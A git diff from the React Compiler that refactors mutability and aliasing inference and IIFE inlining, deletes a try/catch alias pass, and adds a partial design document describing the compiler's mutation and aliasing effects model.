-          instrValue.value,
-          Effect.ConditionallyMutate,
-          ValueReason.Other,
-          functionEffects
-        );
-        state.referenceAndRecordEffects(
-          instrValue.lvalue.place,
-          Effect.Mutate,
-          ValueReason.Other,
-          functionEffects
-        );
-
-        const lvalue = instr.lvalue;
-        state.alias(lvalue, instrValue.value);
-        lvalue.effect = Effect.Store;
-        continue;
-      }
-      case "StoreGlobal": {
-        state.referenceAndRecordEffects(
-          instrValue.value,
-          Effect.Capture,
-          ValueReason.Other,
-          functionEffects
-        );
-        const lvalue = instr.lvalue;
-        lvalue.effect = Effect.Store;
-
-        functionEffects.push({
-          kind: "GlobalMutation",
-          error: {
-            reason:
-              "Unexpected reassignment of a variable which was defined outside of the component. Components and hooks should be pure and side-effect free, but variable reassignment is a form of side-effect. If this variable is used in rendering, use useState instead. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render)",
-            loc: instr.loc,
-            suggestions: null,
-            severity: ErrorSeverity.InvalidReact,
-          },
-        });
-        continue;
-      }
-      case "Destructure": {
-        let effect: Effect = Effect.Capture;
-        for (const place of eachPatternOperand(instrValue.lvalue.pattern)) {
-          if (
-            state.isDefined(place) &&
-            state.kind(place).kind === ValueKind.Context
-          ) {
-            effect = Effect.ConditionallyMutate;
-            break;
-          }
-        }
-        state.referenceAndRecordEffects(
-          instrValue.value,
-          effect,
-          ValueReason.Other,
-          functionEffects
-        );
-
-        const lvalue = instr.lvalue;
-        state.alias(lvalue, instrValue.value);
-        lvalue.effect = Effect.Store;
-        for (const place of eachPatternOperand(instrValue.lvalue.pattern)) {
-          state.alias(place, instrValue.value);
-          /*
-           * NOTE: *not* using state.reference since this is an assignment.
-           * reference() checks if the effect is valid given the value kind,
-           * but here the previous value kind doesn't matter since we are
-           * replacing it
-           */
-          place.effect = Effect.Store;
-        }
-        continue;
-      }
-      case "GetIterator": {
-        /**
-         * This instruction represents the step of retrieving an iterator from the collection
-         * in `for (... of <collection>)` syntax. We model two cases:
-         *
-         * 1. The collection is immutable or a known collection type (e.g. Array). In this case
-         *    we infer that the iterator produced won't be the same as the collection itself.
-         *    If the collection is an Array, this is because it will produce a native Array
-         *    iterator. If the collection is already frozen, we assume it must be of some
-         *    type that returns a separate iterator. In theory you could pass an Iterator
-         *    as props to a component and then for..of over that in the component body, but
-         *    this already violates React's rules so we assume you're not doing this.
-         * 2. The collection could be an Iterator itself, such that advancing the iterator
-         *    (modeled with IteratorNext) mutates the collection itself.
-         */
-        const kind = state.kind(instrValue.collection).kind;
-        const isMutable =
-          kind === ValueKind.Mutable || kind === ValueKind.Context;
-        if (!isMutable || isArrayType(instrValue.collection.identifier)) {
-          // Case 1, assume iterator is a separate mutable object
-          effect = {
-            kind: Effect.Read,
-            reason: ValueReason.Other,
-          };
-          valueKind = {
-            kind: ValueKind.Mutable,
-            reason: new Set([ValueReason.Other]),
-            context: new Set(),
-          };
-        } else {
-          // Case 2, assume that the iterator could be the (mutable) collection itself
-          effect = {
-            kind: Effect.Capture,
-            reason: ValueReason.Other,
-          };
-          valueKind = state.kind(instrValue.collection);
-        }
-        lvalueEffect = Effect.Store;
-        break;
-      }
-      case "IteratorNext": {
-        /**
-         * This instruction represents advancing an iterator with .next(). We use a
-         * conditional mutate to model the two cases for GetIterator:
-         * - If the collection is a mutable iterator, we want to model the fact that
-         *   advancing the iterator will mutate it
-         * - If the iterator may be different from the collection and the collection
-         *   is frozen, we don't want to report a false positive "cannot mutate" error.
-         *
-         * ConditionallyMutate reflects this "mutate if mutable" semantic.
-         */
-        state.referenceAndRecordEffects(
-          instrValue.iterator,
-          Effect.ConditionallyMutate,
-          ValueReason.Other,
-          functionEffects
-        );
-        /**
-         * Regardless of the effect on the iterator, the *result* of advancing the iterator
-         * is to extract a value from the collection. We use a Capture effect to reflect this
-         * aliasing, and then initialize() the lvalue to the same kind as the colleciton to
-         * ensure that the item is mutable or frozen if the collection is mutable/frozen.
-         */
-        state.referenceAndRecordEffects(
-          instrValue.collection,
-          Effect.Capture,
-          ValueReason.Other,
-          functionEffects
-        );
-        state.initialize(instrValue, state.kind(instrValue.collection));
-        state.define(instr.lvalue, instrValue);
-        instr.lvalue.effect = Effect.Store;
-        continue;
-      }
-      case "NextPropertyOf": {
-        effect = { kind: Effect.Read, reason: ValueReason.Other };
-        lvalueEffect = Effect.Store;
-        valueKind = {
-          kind: ValueKind.Primitive,
-          reason: new Set([ValueReason.Other]),
-          context: new Set(),
-        };
-        break;
-      }
-      default: {
-        assertExhaustive(instrValue, "Unexpected instruction kind");
-      }
-    }
-
-    for (const operand of eachInstructionOperand(instr)) {
-      CompilerError.invariant(effect != null, {
-        reason: `effectKind must be set for instruction value \`${instrValue.kind}\``,
-        description: null,
-        loc: instrValue.loc,
-        suggestions: null,
-      });
-      state.referenceAndRecordEffects(
-        operand,
-        effect.kind,
-        effect.reason,
-        functionEffects
-      );
-    }
-
-    state.initialize(instrValue, valueKind);
-    state.define(instr.lvalue, instrValue);
-    instr.lvalue.effect = lvalueEffect;
-  }
-
-  for (const operand of eachTerminalOperand(block.terminal)) {
-    let effect;
-    if (block.terminal.kind === "return" || block.terminal.kind === "throw") {
-      if (
-        state.isDefined(operand) &&
-        state.kind(operand).kind === ValueKind.Context
-      ) {
-        effect = Effect.ConditionallyMutate;
-      } else {
-        effect = Effect.Freeze;
-      }
-    } else {
-      effect = Effect.Read;
-    }
-    state.referenceAndRecordEffects(
-      operand,
-      effect,
-      ValueReason.Other,
-      functionEffects
-    );
-  }
-}
-
-function hasContextRefOperand(
-  state: InferenceState,
-  instrValue: InstructionValue
-): boolean {
-  for (const place of eachInstructionValueOperand(instrValue)) {
-    if (
-      state.isDefined(place) &&
-      state.kind(place).kind === ValueKind.Context
-    ) {
-      return true;
-    }
-  }
-  return false;
-}
-
-export function getFunctionCallSignature(
-  env: Environment,
-  type: Type
-): FunctionSignature | null {
-  if (type.kind !== "Function") {
-    return null;
-  }
-  return env.getFunctionSignature(type);
-}
-
-/*
- * Make a best attempt at matching arguments of a {@link MethodCall} to parameter effects.
- * defined in its {@link FunctionSignature}.
- *
- * @param fn
- * @param sig
- * @returns Inferred effects of function arguments, or null if inference fails.
- */
-function getFunctionEffects(
-  fn: MethodCall | CallExpression,
-  sig: FunctionSignature
-): Array<Effect> | null {
-  const results = [];
-  for (let i = 0; i < fn.args.length; i++) {
-    const arg = fn.args[i];
-    if (i < sig.positionalParams.length) {
-      /*
-       * Only infer effects when there is a direct mapping positional arg --> positional param
-       * Otherwise, return null to indicate inference failed
-       */
-      if (arg.kind === "Identifier") {
-        results.push(sig.positionalParams[i]);
-      } else {
-        return null;
-      }
-    } else if (sig.restParam !== null) {
-      results.push(sig.restParam);
-    } else {
-      /*
-       * If there are more arguments than positional arguments and a rest parameter is not
-       * defined, we'll also assume that inference failed
-       */
-      return null;
-    }
-  }
-  return results;
-}
-
-/**
- * Returns true if all of the arguments are both non-mutable (immutable or frozen)
- * _and_ are not functions which might mutate their arguments. Note that function
- * expressions count as frozen so long as they do not mutate free variables: this
- * function checks that such functions also don't mutate their inputs.
- */
-function areArgumentsImmutableAndNonMutating(
-  state: InferenceState,
-  args: MethodCall["args"]
-): boolean {
-  for (const arg of args) {
-    const place = arg.kind === "Identifier" ? arg : arg.place;
-    const kind = state.kind(place).kind;
-    switch (kind) {
-      case ValueKind.Global:
-      case ValueKind.Primitive:
-      case ValueKind.Frozen: {
-        /*
-         * Only immutable values, or frozen lambdas are allowed.
-         * A lambda may appear frozen even if it may mutate its inputs,
-         * so we have a second check even for frozen value types
-         */
-        break;
-      }
-      default: {
-        return false;
-      }
-    }
-    const values = state.values(place);
-    for (const value of values) {
-      if (
-        value.kind === "FunctionExpression" &&
-        value.loweredFunc.func.params.some((param) => {
-          const place = param.kind === "Identifier" ? param : param.place;
-          const range = place.identifier.mutableRange;
-          return range.end > range.start + 1;
-        })
-      ) {
-        // This is a function which may mutate its inputs
-        return false;
-      }
-    }
-  }
-  return true;
-}
-
-function getWriteErrorReason(abstractValue: AbstractValue): string {
-  if (abstractValue.reason.has(ValueReason.Global)) {
-    return "Writing to a variable defined outside a component or hook is not allowed. Consider using an effect";
-  } else if (abstractValue.reason.has(ValueReason.JsxCaptured)) {
-    return "Updating a value used previously in JSX is not allowed. Consider moving the mutation before the JSX";
-  } else if (abstractValue.reason.has(ValueReason.Context)) {
-    return `Mutating a value returned from 'useContext()', which should not be mutated`;
-  } else if (abstractValue.reason.has(ValueReason.KnownReturnSignature)) {
-    return "Mutating a value returned from a function whose return value should not be mutated";
-  } else if (abstractValue.reason.has(ValueReason.ReactiveFunctionArgument)) {
-    return "Mutating component props or hook arguments is not allowed. Consider using a local variable instead";
-  } else if (abstractValue.reason.has(ValueReason.State)) {
-    return "Mutating a value returned from 'useState()', which should not be mutated. Use the setter function to update instead";
-  } else if (abstractValue.reason.has(ValueReason.ReducerState)) {
-    return "Mutating a value returned from 'useReducer()', which should not be mutated. Use the dispatch function to update instead";
-  } else {
-    return "This mutates a variable that React considers immutable";
-  }
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Inference/InferTryCatchAliases.ts b/compiler/packages/babel-plugin-react-compiler/src/Inference/InferTryCatchAliases.ts
deleted file mode 100644
index 9b2e6896ad5c..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/Inference/InferTryCatchAliases.ts
+++ /dev/null
@@ -1,49 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-import { BlockId, HIRFunction, Identifier } from "../HIR";
-import DisjointSet from "../Utils/DisjointSet";
-
-/*
- * Any values created within a try/catch block could be aliased to the try handler.
- * Our lowering ensures that every instruction within a try block will be lowered into a
- * basic block ending in a maybe-throw terminal that points to its catch block, so we can
- * iterate such blocks and alias their instruction lvalues to the handler's param (if present).
- */
-export function inferTryCatchAliases(
-  fn: HIRFunction,
-  aliases: DisjointSet<Identifier>
-): void {
-  const handlerParams: Map<BlockId, Identifier> = new Map();
-  for (const [_, block] of fn.body.blocks) {
-    if (
-      block.terminal.kind === "try" &&
-      block.terminal.handlerBinding !== null
-    ) {
-      handlerParams.set(
-        block.terminal.handler,
-        block.terminal.handlerBinding.identifier
-      );
-    } else if (block.terminal.kind === "maybe-throw") {
-      const handlerParam = handlerParams.get(block.terminal.handler);
-      if (handlerParam === undefined) {
-        /*
-         * There's no catch clause param, nothing to alias to so
-         * skip this block
-         */
-        continue;
-      }
-      /*
-       * Otherwise alias all values created in this block to the
-       * catch clause param
-       */
-      for (const instr of block.instructions) {
-        aliases.union([handlerParam, instr.lvalue.identifier]);
-      }
-    }
-  }
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Inference/InlineImmediatelyInvokedFunctionExpressions.ts b/compiler/packages/babel-plugin-react-compiler/src/Inference/InlineImmediatelyInvokedFunctionExpressions.ts
index c64ed19d188c..d71f6ebc8a06 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/Inference/InlineImmediatelyInvokedFunctionExpressions.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/Inference/InlineImmediatelyInvokedFunctionExpressions.ts
@@ -8,24 +8,29 @@
 import {
   BasicBlock,
   BlockId,
-  Effect,
   Environment,
   FunctionExpression,
   GeneratedSource,
+  GotoTerminal,
   GotoVariant,
   HIRFunction,
   IdentifierId,
   InstructionKind,
   LabelTerminal,
   Place,
+  isStatementBlockKind,
   makeInstructionId,
-  makeType,
+  mergeConsecutiveBlocks,
   promoteTemporary,
   reversePostorderBlocks,
-} from "../HIR";
-import { markInstructionIds, markPredecessors } from "../HIR/HIRBuilder";
-import { eachInstructionValueOperand } from "../HIR/visitors";
-import { retainWhere } from "../Utils/utils";
+} from '../HIR';
+import {
+  createTemporaryPlace,
+  markInstructionIds,
+  markPredecessors,
+} from '../HIR/HIRBuilder';
+import {eachInstructionValueOperand} from '../HIR/visitors';
+import {retainWhere} from '../Utils/utils';
 
 /*
  * Inlines immediately invoked function expressions (IIFEs) to allow more fine-grained memoization
@@ -70,9 +75,13 @@ import { retainWhere } from "../Utils/utils";
  * - All return statements in the original function expression are replaced with a
  *    StoreLocal to the temporary we allocated before plus a Goto to the fallthrough
  *    block (code following the CallExpression).
+ *
+ * Note that if the inliined function has only one return, we avoid the labeled block
+ * and fully inline the code. The original return is replaced with an assignmen to the
+ * IIFE's call expression lvalue.
  */
 export function inlineImmediatelyInvokedFunctionExpressions(
-  fn: HIRFunction
+  fn: HIRFunction,
 ): void {
   // Track all function expressions that are assigned to a temporary
   const functions = new Map<IdentifierId, FunctionExpression>();
@@ -88,100 +97,144 @@ export function inlineImmediatelyInvokedFunctionExpressions(
    */
   const queue = Array.from(fn.body.blocks.values());
   queue: for (const block of queue) {
-    for (let ii = 0; ii < block.instructions.length; ii++) {
-      const instr = block.instructions[ii]!;
-      switch (instr.value.kind) {
-        case "FunctionExpression": {
-          if (instr.lvalue.identifier.name === null) {
-            functions.set(instr.lvalue.identifier.id, instr.value);
-          }
-          break;
-        }
-        case "CallExpression": {
-          if (instr.value.args.length !== 0) {
-            // We don't support inlining when there are arguments
-            continue;
-          }
-          const body = functions.get(instr.value.callee.identifier.id);
-          if (body === undefined) {
-            // Not invoking a local function expression, can't inline
-            continue;
+    /*
+     * We can't handle labels inside expressions yet, so we don't inline IIFEs if they are in an
+     * expression block.
+     */
+    if (isStatementBlockKind(block.kind)) {
+      for (let ii = 0; ii < block.instructions.length; ii++) {
+        const instr = block.instructions[ii]!;
+        switch (instr.value.kind) {
+          case 'FunctionExpression': {
+            if (instr.lvalue.identifier.name === null) {
+              functions.set(instr.lvalue.identifier.id, instr.value);
+            }
+            break;
           }
+          case 'CallExpression': {
+            if (instr.value.args.length !== 0) {
+              // We don't support inlining when there are arguments
+              continue;
+            }
+            const body = functions.get(instr.value.callee.identifier.id);
+            if (body === undefined) {
+              // Not invoking a local function expression, can't inline
+              continue;
+            }
 
-          if (
-            body.loweredFunc.func.params.length > 0 ||
-            body.loweredFunc.func.async ||
-            body.loweredFunc.func.generator
-          ) {
-            // Can't inline functions with params, or async/generator functions
-            continue;
-          }
+            if (
+              body.loweredFunc.func.params.length > 0 ||
+              body.loweredFunc.func.async ||
+              body.loweredFunc.func.generator
+            ) {
+              // Can't inline functions with params, or async/generator functions
+              continue;
+            }
 
-          // We know this function is used for an IIFE and can prune it later
-          inlinedFunctions.add(instr.value.callee.identifier.id);
+            // We know this function is used for an IIFE and can prune it later
+            inlinedFunctions.add(instr.value.callee.identifier.id);
 
-          // Create a new block which will contain code following the IIFE call
-          const continuationBlockId = fn.env.nextBlockId;
-          const continuationBlock: BasicBlock = {
-            id: continuationBlockId,
-            instructions: block.instructions.slice(ii + 1),
-            kind: block.kind,
-            phis: new Set(),
-            preds: new Set(),
-            terminal: block.terminal,
-          };
-          fn.body.blocks.set(continuationBlockId, continuationBlock);
+            // Create a new block which will contain code following the IIFE call
+            const continuationBlockId = fn.env.nextBlockId;
+            const continuationBlock: BasicBlock = {
+              id: continuationBlockId,
+              instructions: block.instructions.slice(ii + 1),
+              kind: block.kind,
+              phis: new Set(),
+              preds: new Set(),
+              terminal: block.terminal,
+            };
+            fn.body.blocks.set(continuationBlockId, continuationBlock);
 
-          /*
-           * Trim the original block to contain instructions up to (but not including)
-           * the IIFE
-           */
-          block.instructions.length = ii;
+            /*
+             * Trim the original block to contain instructions up to (but not including)
+             * the IIFE
+             */
+            block.instructions.length = ii;
 
-          /*
-           * To account for complex control flow within the lambda, we treat the lambda
-           * as if it were a single labeled statement, and replace all returns with gotos
-           * to the label fallthrough.
-           */
-          const newTerminal: LabelTerminal = {
-            block: body.loweredFunc.func.body.entry,
-            id: makeInstructionId(0),
-            kind: "label",
-            fallthrough: continuationBlockId,
-            loc: block.terminal.loc,
-          };
-          block.terminal = newTerminal;
+            if (hasSingleExitReturnTerminal(body.loweredFunc.func)) {
+              block.terminal = {
+                kind: 'goto',
+                block: body.loweredFunc.func.body.entry,
+                id: block.terminal.id,
+                loc: block.terminal.loc,
+                variant: GotoVariant.Break,
+              } as GotoTerminal;
+              for (const block of body.loweredFunc.func.body.blocks.values()) {
+                if (block.terminal.kind === 'return') {
+                  block.instructions.push({
+                    id: makeInstructionId(0),
+                    loc: block.terminal.loc,
+                    lvalue: instr.lvalue,
+                    value: {
+                      kind: 'LoadLocal',
+                      loc: block.terminal.loc,
+                      place: block.terminal.value,
+                    },
+                    effects: null,
+                  });
+                  block.terminal = {
+                    kind: 'goto',
+                    block: continuationBlockId,
+                    id: block.terminal.id,
+                    loc: block.terminal.loc,
+                    variant: GotoVariant.Break,
+                  } as GotoTerminal;
+                }
+              }
+              for (const [id, block] of body.loweredFunc.func.body.blocks) {
+                block.preds.clear();
+                fn.body.blocks.set(id, block);
+              }
+            } else {
+              /*
+               * To account for multiple returns within the lambda, we treat the lambda
+               * as if it were a single labeled statement, and replace all returns with gotos
+               * to the label fallthrough.
+               */
+              const newTerminal: LabelTerminal = {
+                block: body.loweredFunc.func.body.entry,
+                id: makeInstructionId(0),
+                kind: 'label',
+                fallthrough: continuationBlockId,
+                loc: block.terminal.loc,
+              };
+              block.terminal = newTerminal;
 
-          // We store the result in the IIFE temporary
-          const result = instr.lvalue;
+              // We store the result in the IIFE temporary
+              const result = instr.lvalue;
 
-          // Declare the IIFE temporary
-          declareTemporary(fn.env, block, result);
+              // Declare the IIFE temporary
+              declareTemporary(fn.env, block, result);
 
-          // Promote the temporary with a name as we require this to persist
-          promoteTemporary(result.identifier);
+              // Promote the temporary with a name as we require this to persist
+              if (result.identifier.name == null) {
+                promoteTemporary(result.identifier);
+              }
 
-          /*
-           * Rewrite blocks from the lambda to replace any `return` with a
-           * store to the result and `goto` the continuation block
-           */
-          for (const [id, block] of body.loweredFunc.func.body.blocks) {
-            block.preds.clear();
-            rewriteBlock(fn.env, block, continuationBlockId, result);
-            fn.body.blocks.set(id, block);
-          }
+              /*
+               * Rewrite blocks from the lambda to replace any `return` with a
+               * store to the result and `goto` the continuation block
+               */
+              for (const [id, block] of body.loweredFunc.func.body.blocks) {
+                block.preds.clear();
+                rewriteBlock(fn.env, block, continuationBlockId, result);
+                fn.body.blocks.set(id, block);
+              }
+            }
 
-          /*
-           * Ensure we visit the continuation block, since there may have been
-           * sequential IIFEs that need to be visited.
-           */
-          queue.push(continuationBlock);
-          continue queue;
-        }
-        default: {
-          for (const place of eachInstructionValueOperand(instr.value)) {
-            // Any other use of a function expression means it isn't an IIFE
-            functions.delete(place.identifier.id);
+            /*
+             * Ensure we visit the continuation block, since there may have been
+             * sequential IIFEs that need to be visited.
+             */
+            queue.push(continuationBlock);
+            continue queue;
+          }
+          default: {
+            for (const place of eachInstructionValueOperand(instr.value)) {
+              // Any other use of a function expression means it isn't an IIFE
+              functions.delete(place.identifier.id);
+            }
           }
         }
       }
@@ -190,10 +243,10 @@ export function inlineImmediatelyInvokedFunctionExpressions(
 
   if (inlinedFunctions.size !== 0) {
     // Remove instructions that define lambdas which we inlined
-    for (const [, block] of fn.body.blocks) {
+    for (const block of fn.body.blocks.values()) {
       retainWhere(
         block.instructions,
-        (instr) => !inlinedFunctions.has(instr.lvalue.identifier.id)
+        instr => !inlinedFunctions.has(instr.lvalue.identifier.id),
       );
     }
 
@@ -204,9 +257,25 @@ export function inlineImmediatelyInvokedFunctionExpressions(
     reversePostorderBlocks(fn.body);
     markInstructionIds(fn.body);
     markPredecessors(fn.body);
+    mergeConsecutiveBlocks(fn);
   }
 }
 
+/**
+ * Returns true if the function has a single exit terminal (throw/return) which is a return
+ */
+function hasSingleExitReturnTerminal(fn: HIRFunction): boolean {
+  let hasReturn = false;
+  let exitCount = 0;
+  for (const [, block] of fn.body.blocks) {
+    if (block.terminal.kind === 'return' || block.terminal.kind === 'throw') {
+      hasReturn ||= block.terminal.kind === 'return';
+      exitCount++;
+    }
+  }
+  return exitCount === 1 && hasReturn;
+}
+
 /*
  * Rewrites the block so that all `return` terminals are replaced:
  * * Add a StoreLocal <returnValue> = <terminal.value>
@@ -216,42 +285,27 @@ function rewriteBlock(
   env: Environment,
   block: BasicBlock,
   returnTarget: BlockId,
-  returnValue: Place
+  returnValue: Place,
 ): void {
-  const { terminal } = block;
-  if (terminal.kind !== "return") {
+  const {terminal} = block;
+  if (terminal.kind !== 'return') {
     return;
   }
   block.instructions.push({
     id: makeInstructionId(0),
     loc: terminal.loc,
-    lvalue: {
-      effect: Effect.Unknown,
-      identifier: {
-        id: env.nextIdentifierId,
-        mutableRange: {
-          start: makeInstructionId(0),
-          end: makeInstructionId(0),
-        },
-        name: null,
-        scope: null,
-        type: makeType(),
-        loc: terminal.loc,
-      },
-      kind: "Identifier",
-      reactive: false,
-      loc: terminal.loc,
-    },
+    lvalue: createTemporaryPlace(env, terminal.loc),
     value: {
-      kind: "StoreLocal",
-      lvalue: { kind: InstructionKind.Reassign, place: { ...returnValue } },
+      kind: 'StoreLocal',
+      lvalue: {kind: InstructionKind.Reassign, place: {...returnValue}},
       value: terminal.value,
       type: null,
       loc: terminal.loc,
     },
+    effects: null,
   });
   block.terminal = {
-    kind: "goto",
+    kind: 'goto',
     block: returnTarget,
     id: makeInstructionId(0),
     variant: GotoVariant.Break,
@@ -262,30 +316,14 @@ function rewriteBlock(
 function declareTemporary(
   env: Environment,
   block: BasicBlock,
-  result: Place
+  result: Place,
 ): void {
   block.instructions.push({
     id: makeInstructionId(0),
     loc: GeneratedSource,
-    lvalue: {
-      effect: Effect.Unknown,
-      identifier: {
-        id: env.nextIdentifierId,
-        mutableRange: {
-          start: makeInstructionId(0),
-          end: makeInstructionId(0),
-        },
-        name: null,
-        scope: null,
-        type: makeType(),
-        loc: result.loc,
-      },
-      kind: "Identifier",
-      reactive: false,
-      loc: GeneratedSource,
-    },
+    lvalue: createTemporaryPlace(env, result.loc),
     value: {
-      kind: "DeclareLocal",
+      kind: 'DeclareLocal',
       lvalue: {
         place: result,
         kind: InstructionKind.Let,
@@ -293,5 +331,6 @@ function declareTemporary(
       type: null,
       loc: result.loc,
     },
+    effects: null,
   });
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Inference/MUTABILITY_ALIASING_MODEL.md b/compiler/packages/babel-plugin-react-compiler/src/Inference/MUTABILITY_ALIASING_MODEL.md
new file mode 100644
index 000000000000..dfff673cabc4
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/Inference/MUTABILITY_ALIASING_MODEL.md
@@ -0,0 +1,559 @@
+# The Mutability & Aliasing Model
+
+This document describes the new (as of June 2025) mutability and aliasing model powering React Compiler. The mutability and aliasing system is a conceptual subcomponent whose primary role is to determine minimal sets of values that mutate together, and the range of instructions over which those mutations occur. These minimal sets of values that mutate together, and the corresponding instructions doing those mutations, are ultimately grouped into reactive scopes, which then translate into memoization blocks in the output (after substantial additional processing described in the comments of those passes).
+
+To build an intuition, consider the following example:
+
+```js
+function Component() {
+    // a is created and mutated over the course of these two instructions:
+    const a = {};
+    mutate(a);
+
+    // b and c are created and mutated together — mutate might modify b via c
+    const b = {};
+    const c = {b};
+    mutate(c);
+
+    // does not modify a/b/c
+    return <Foo a={a} c={c} />
+}
+```
+
+The goal of mutability and aliasing inference is to understand the set of instructions that create/modify a, b, and c.
+
+In code, the mutability and aliasing model is compromised of the following phases:
+
+* `InferMutationAliasingEffects`. Infers a set of mutation and aliasing effects for each instruction. The approach is to generate a set of candidate effects based purely on the semantics of each instruction and the types of the operands, then use abstract interpretation to determine the actual effects (or errors) that would apply. For example, an instruction that by default has a Capture effect might downgrade to an ImmutableCapture effect if the value is known to be frozen.
+* `InferMutationAliasingRanges`. Infers a mutable range (start:end instruction ids) for each value in the program, and annotates each Place with its effect type for usage in later passes. This builds a graph of data flow through the program over time in order to understand which mutations effect which values.
+* `InferReactiveScopeVariables`. Given the per-Place effects, determines disjoint sets of values that mutate together and assigns all identifiers in each set to a unique scope, and updates the range to include the ranges of all constituent values.
+
+Finally, `AnalyzeFunctions` needs to understand the mutation and aliasing semantics of nested FunctionExpression and ObjectMethod values. `AnalyzeFunctions` calls `InferFunctionExpressionAliasingEffectsSignature` to determine the publicly observable set of mutation/aliasing effects for nested functions.
+
+## Mutation and Aliasing Effects
+
+The inference model is based on a set of "effects" that describe subtle aspects of mutation, aliasing, and other changes to the state of values over time
+
+### Creation Effects
+
+#### Create
+
+```js
+{
+    kind: 'Create';
+    into: Place;
+    value: ValueKind;
+    reason: ValueReason;
+}
+```
+
+Describes the creation of a new value with the given kind, and reason for having that kind. For example, `x = 10` might have an effect like `Create x = ValueKind.Primitive [ValueReason.Other]`.
+
+#### CreateFunction
+
+```js
+{
+    kind: 'CreateFunction';
+    captures: Array<Place>;
+    function: FunctionExpression | ObjectMethod;
+    into: Place;
+}
+```
+
+Describes the creation of new function value, capturing the given set of mutable values. CreateFunction is used to specifically track function types so that we can precisely model calls to those functions with `Apply`.
+
+#### Apply
+
+```js
+{
+    kind: 'Apply';
+    receiver: Place;
+    function: Place; // same as receiver for function calls
+    mutatesFunction: boolean; // indicates if this is a type that we consider to mutate the function itself by default
+    args: Array<Place | SpreadPattern | Hole>;
+    into: Place; // where result is stored
+    signature: FunctionSignature | null;
+}
+```
+
+Describes the potential creation of a value by calling a function. This models `new`, function calls, and method calls. The inference algorithm uses the most precise signature it can determine:
+
+* If the function is a locally created function expression, we use a signature inferred from the behavior of that function to interpret the effects of calling it with the given arguments.
+* Else if the function has a known aliasing signature (new style precise effects signature), we apply the arguments to that signature to get a precise set of effects.
+* Else if the function has a legacy style signature (with per-param effects) we convert the legacy per-Place effects into aliasing effects (described in this doc) and apply those.
+* Else fall back to inferring a generic set of effects.
+
+The generic fallback is to assume:
+- The return value may alias any of the arguments (Alias param -> return)
+- Any arguments *may* be transitively mutated (MutateTransitiveConditionally param)
+- Any argument may be captured into any other argument (Capture paramN -> paramM for all N,M where N != M)
+
+### Aliasing Effects
+
+These effects describe data-flow only, separately from mutation or other state-changing semantics.
+
+#### Assign
+
+```js
+{
+    kind: 'Assign';
+    from: Place;
+    into: Place;
+}
+```
+
+Describes an `x = y` assignment, where the receiving (into) value is overwritten with a new (from) value. After this effect, any previous assignments/aliases to the receiving value are dropped. Note that `Alias` initializes the receiving value.
+
+> TODO: InferMutationAliasingRanges may not fully reset aliases on encountering this effect
+
+#### Alias
+
+```js
+{
+    kind: 'Alias';
+    from: Place;
+    into: Place;
+}
+```
+
+Describes that an assignment _may_ occur, but that the possible assignment is non-exclusive. The canonical use-case for `Alias` is a function that may return more than one of its arguments, such as `(x, y, z) => x ? y : z`. Here, the result of this function may be `y` or `z`, but neither one overwrites the other. Note that `Alias` does _not_ initialize the receiving value: it should always be paired with an effect to create the receiving value.
+
+#### Capture
+
+```js
+{
+    kind: 'Capture';
+    from: Place;
+    into: Place;
+}
+```
+
+Describes that a reference to one variable (from) is stored within another value (into). Examples include:
+- An array expression captures the items of the array (`array = [capturedValue]`)
+- Array.prototype.push captures the pushed values into the array (`array.push(capturedValue)`)
+- Property assignment captures the value onto the object (`object.property = capturedValue`)
+
+#### CreateFrom
+
+```js
+{
+    kind: 'CreateFrom';
+    from: Place;
+    into: Place;
+}
+```
+
+This is somewhat the inverse of `Capture`. The `CreateFrom` effect describes that a variable is initialized by extracting _part_ of another value, without taking a direct alias to the full other value. Examples include:
+
+- Indexing into an array (`createdFrom = array[0]`)
+- Reading an object property (`createdFrom = object.property`)
+- Getting a Map key (`createdFrom = map.get(key)`)
+
+#### ImmutableCapture
+
+Describes immutable data flow from one value to another. This is not currently used for anything, but is intended to eventually power a more sophisticated escape analysis.
+
+### MaybeAlias
+
+Describes potential data flow that the compiler knows may occur behind a function call, but cannot be sure about. For example, `foo(x)` _may_ be the identity function and return `x`, or `cond(a, b, c)` may conditionally return `b` or `c` depending on the value of `a`, but those functions could just as easily return new mutable values and not capture any information from their arguments. MaybeAlias represents that we have to consider the potential for data flow when deciding mutable ranges, but should be conservative about reporting errors. For example, `foo(someFrozenValue).property = true` should not error since we don't know for certain that foo returns its input.
+
+### State-Changing Effects
+
+The following effects describe state changes to specific values, not data flow. In many cases, JavaScript semantics will involve a combination of both data-flow effects *and* state-change effects. For example, `object.property = value` has data flow (`Capture object <- value`) and mutation (`Mutate object`).
+
+#### Freeze
+
+```js
+{
+    kind: 'Freeze',
+    // The reference being frozen
+    value: Place;
+    // The reason the value is frozen (passed to a hook, passed to jsx, etc)
+    reason: ValueReason;
+}
+```
+
+Once a reference to a value has been passed to React, that value is generally not safe to mutate further. This is not a strictly required property of React, but is a natural consequence of making components and hooks composable without leaking implementation details. Concretely, once a value has been passed as a JSX prop, passed as argument to a hook, or returned from a hook, it must be assumed that the other "side" — receiver of the prop/argument/return value — will use that value as an input to an effect or memoization unit. Mutating that value (instead of creating a new value) will fail to cause the consuming computation to update:
+
+```js
+// INVALID DO NOT DO THIS
+function Component(props) {
+    const array = useArray(props.value);
+    // OOPS! this value is memoized, the array won't get re-created
+    // when `props.value` changes, so we might just keep pushing new
+    // values to the same array on every render!
+    array.push(props.otherValue);
+}
+
+function useArray(a) {
+    return useMemo(() => [a], [a]);
+}
+```
+
+The **Freeze** effect accepts a variable reference and a reason that the value is being frozen. Note: _freeze only applies to the reference, not the underlying value_. Our inference is conservative, and assumes that there may still be other references to the same underlying value which are mutated later. For example:
+
+```js
+const x = {};
+const y = [];
+x.y = y;
+freeze(y); // y _reference_ is frozen
+x.y.push(props.value); // but y is still considered mutable bc of this
+```
+
+#### Mutate (and MutateConditionally)
+
+```js
+{
+    kind: 'Mutate';
+    value: Place;
+}
+```
+
+Mutate indicates that a value is mutated, without modifying any of the values that it may transitively have captured. Canonical examples include:
+
